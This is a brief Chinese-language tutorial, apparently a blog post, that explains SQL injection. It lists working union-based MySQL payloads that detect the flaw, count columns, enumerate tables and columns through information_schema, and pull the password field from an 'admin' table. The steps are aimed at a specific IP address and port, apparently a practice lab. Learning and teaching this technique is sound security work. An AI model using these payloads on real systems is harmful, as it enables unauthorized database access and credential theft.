(一)SQL注入是网站存在最多也是比较简单的漏洞,主要原因是程序对用户输入的字符串没有进行过滤或处理不严谨,导致用户可以通过精心构造语句来非法获取数据库中的信息。
(二)SQL注入的首次公开讨论始于1998年左右,至今已有20多年的历史,被冠以漏洞之王的称号。
(三)SQL语言即是结构化查询语言,通俗来讲就是操作数据库的语言,这些语句可以对数据库进行增、删、改、查等操作。
(四)注入在这里即是将用户输入的数据拼接到原始代码中,从而使得被注入的数据被当做代码执行。
(五)SQL注入的核心:将用户的输入拼接到代码中,并被当做SQL语句执行
and 1=1、and 1=2等等
order by 2
union select 1,2
and 1=2 union select 1,database()
and 1=2 union select 1,table_name from information_schema.tables where table_schema =’maoshe’
and 1=2 union select 1,column_name from information_schema.columns where table_name =’admin’ limit 2,1
and 1=2 union select 1,password from admin
(一)order by(排序,用来判断字段数)
(二)union select (联合查询,用来查询自己想要得到的数据)
(三)database()(可以用来查询数据库)
(四)limit 0,1(限制输出,0表示下标,1表示数量)
(五)information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)
(六)information_schema.tables(记录表名信息的表)
(七)information_schema.columns(记录列名信息的表)
(八)table_name (表名)
(九)column_name (列名)
(十)table_schema (数据库名)
1、判断是否存在注入:and 1=1 and 1=2(重点是看我们的输入是否有被当做代码执行)
2、判断字段数:order by 1(正常) order by 2(正常)order by 3(异常)说明仅仅存在两个字段
3、判断线错位,联和查询前面的sql语句要和后面sql语句字段数一致,这个也是我们前面判断字段数的原因,
4、联和查询时需要让前面查询语句查询不出数据,从而显示我们后面联和查询的结果
5、http://59.63.200.79:8003/?id=1.1 union select 1,database()把我们的database放到显错位上,显示maoshe说明当前页面库名就是maoshe
6、union select 1,table_name from information_schema.tables where table_schema=’maoshe’
7、union select 1,group_concat(column_name) from information_schema.columns where table_schema=’maoshe’ and table_name=’admin’
8、union select 1,password from admin
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.